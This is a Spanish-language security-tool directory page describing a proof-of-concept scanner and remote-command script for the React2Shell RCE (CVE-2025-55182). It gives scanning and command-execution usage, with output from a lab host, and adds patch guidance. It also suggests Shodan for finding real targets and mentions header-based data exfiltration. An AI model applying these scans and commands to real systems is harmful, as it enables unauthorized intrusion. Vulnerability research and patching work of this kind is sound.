Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2Shell-PoC-CVE-2025-55182 — Exploit de prueba de concepto para la vulnerabilidad RCE CVE-2025-55182 (React2Shell) en React Server Components. Incluye un escáner para hosts vulnerables y un script de shell para ejecución remota de comandos. Solo para pruebas de seguridad autorizadas y educación. | Kitploit
Herramientas/GitHubGitHub/eagle-nett/react2shell-poc-cve-2025-55182
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubeagle-nett/react2shell-poc-cve-2025-55182

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

React2Shell-PoC-CVE-2025-55182

Exploit de prueba de concepto para la vulnerabilidad RCE CVE-2025-55182 (React2Shell) en React Server Components. Incluye un escáner para hosts vulnerables y un script de shell para ejecución remota de comandos. Solo para pruebas de seguridad autorizadas y educación.

Ver Repositorio
1hace 5 mesesAún no revisado
Compartir

Simulación de explotación de React2Shell (CVE-2025-55182)

Nota:

  • Este documento es solo para fines educativos y de investigación en seguridad.
  • No lo utilice para atacar sistemas sin autorización.

1. Resumen

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad grave de ejecución remota de código (RCE) que afecta a los componentes del servidor React (RSC). Utiliza el protocolo Flight para la comunicación entre cliente y servidor. Cuando el cliente solicita datos, el servidor recibe un payload, analiza este payload, lo que puede permitir a un atacante inyectar estructuras maliciosas o fragmentos de código arbitrarios que React acepta como válidos.

ÍtemContenido
GravedadCrítica (CVSS 10.0)
TipoDeserialización insegura (CWE-502)
Método de ataqueRemoto, sin autenticación requerida
Versiones afectadas:React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 y Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6

2. Causa

El servidor procesa el payload del cliente sin validación completa, lo que permite al atacante:

  • Inyectar payload malicioso
  • Ejecutar código en el servidor
  • Ser explotado sin necesidad de autenticación de usuario, ya que es una vulnerabilidad previa a la autenticación.

La actividad de explotación relacionada con esta vulnerabilidad se detectó a partir del 5 de diciembre de 2025. La mayoría de las explotaciones exitosas se originaron en evaluaciones de grupos de ataque. Tanto los entornos Windows como Linux se ven afectados.

3. Experimentación

Instalación

root@kitploit:~
pip install -r requirements.txt

Escanear un servidor vulnerable:

root@kitploit:~
python3 scanner.py -u https://example.com

Introduzca la ruta a escanear (aquí ingreso mi máquina vulnerable: http://192.168.10.1:3000)

image

Resultado obtenido:

image
root@kitploit:~
╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Además, puede escanear más según sus objetivos de explotación:

Escanear una lista de servidores:

root@kitploit:~
python3 scanner.py -l hosts.txt

Escanear con múltiples hilos y guardar resultados:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

Escanear con encabezados personalizados:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Escanear objetivos Windows:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

Usar método de detección de canal lateral seguro:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check
image

Como puede ver, estamos enfrentando una vulnerabilidad de seguridad, lo que significa que el servidor que proporcionamos es susceptible de ser atacado por un atacante.


Nuclei

Ahora usaremos Nuclei para verificar qué vulnerabilidad tiene el servidor anterior y si tiene un PoC. Esta función funciona enviando solicitudes personalizadas, minimizando falsos positivos y admitiendo escaneo paralelo.

root@kitploit:~
nuclei -t scan.yaml -u http://192.168.10.1:3000

Resultado obtenido

root@kitploit:~
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
image

El sistema detectó que este servidor es vulnerable y puede ser explotado mediante la vulnerabilidad CVE-2025-55182. Y desde entonces, puede ver que es una vulnerabilidad bastante peligrosa e importante, con muchos PoC disponibles en plataformas sociales. ☺☺☺

4. Cómo explotar

Puede ver que con esta información es suficiente para confirmar que la vulnerabilidad de seguridad existe en la aplicación anterior. Para demostrar que esta aplicación puede ser explotada para ejecutar un comando o código de forma remota, comenzaré el PoC.

root@kitploit:~
chmod +x scanner.sh

Uso

root@kitploit:~
# Verificar si el objetivo es vulnerable
./datscan.sh -d example.com

# Ejecutar comando para verificar usuario actual
./datscan.sh -d example.com -c "whoami"

# Con URL completa
./datscan.sh -d example.com -c "uname -a"
image

Significado:

Devuelve el usuario actual que ejecuta el proceso del servidor

Ayuda a identificar:

  • bajo qué usuario se ejecuta la aplicación
  • el nivel de privilegios (bajo o administrador)

=> Este es el comando más básico para confirmar RCE exitoso

Nota

  • -d, --domain - domain/URL
  • -c, --command - Comando a ejecutar (ej: whoami, hostname,...)

Ejemplos

root@kitploit:~
# Verificar nombre del host
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Determinar la versión del sistema operativo
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Verificar si la ejecución de comandos funciona correctamente
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

IMAGEN ILUSTRATIVA DESPUÉS DE LA EJECUCIÓN

image

Este es el paso de reconocimiento inicial después de una explotación exitosa.

Nos ayuda a confirmar: RCE funciona, determinar el sistema operativo,...

ATENCIÓN

Debido a que este experimento lo estoy demostrando en un entorno de laboratorio personal para evitar problemas legales, el uso de encabezados HTTP para exfiltrar datos, salidas grandes o caracteres especiales puede causar:

  • ERR_INVALID_CHAR
  • Respuestas reducidas
  • Timeouts
image

Los comandos cortos (por ejemplo: whoami, ver) son más confiables para ilustrar en el entorno de prueba anterior.

Si no le gusta, puede usar Shodan para verificar direcciones IP directamente en el entorno real y hacer como en mi experimento anterior para explotar (no recomendado).

image

Como se señaló anteriormente. Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. No utilice esta herramienta para probar sistemas que no posea o para los que no tenga permiso de prueba.

5. Algunas formas de mitigar la vulnerabilidad

  • No confiar en los datos del cliente
  • Validar estrictamente la entrada
  • Actualizar versiones
    • React: >= 19.0.1 / 19.1.2 / 19.2.1
    • Next.js: >= 15.0.5 / 16.0.7

6. Referencias adicionales

  • CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
Descargar herramienta
Significado de los comandos ejecutadosContenido
Devuelve el nombre del hostSe usa para:
- identificar el sistema afectado
- servir para movimiento lateral (en entorno interno)
Determina la versión del SOImportante para:
- evaluar la posibilidad de explotación adicional (escalada de privilegios)
- seleccionar el exploit adecuado
Verifica la ejecución de comandosSe usa para depurar payload/scanner
Devuelve el nombre de usuario actualEn este caso:
- el usuario es ADMIN → puede tener altos privilegios
- más importante que whoami en algunos casos de Windows
Devuelve el nombre del hostDevuelve el nombre del host mediante variable de entorno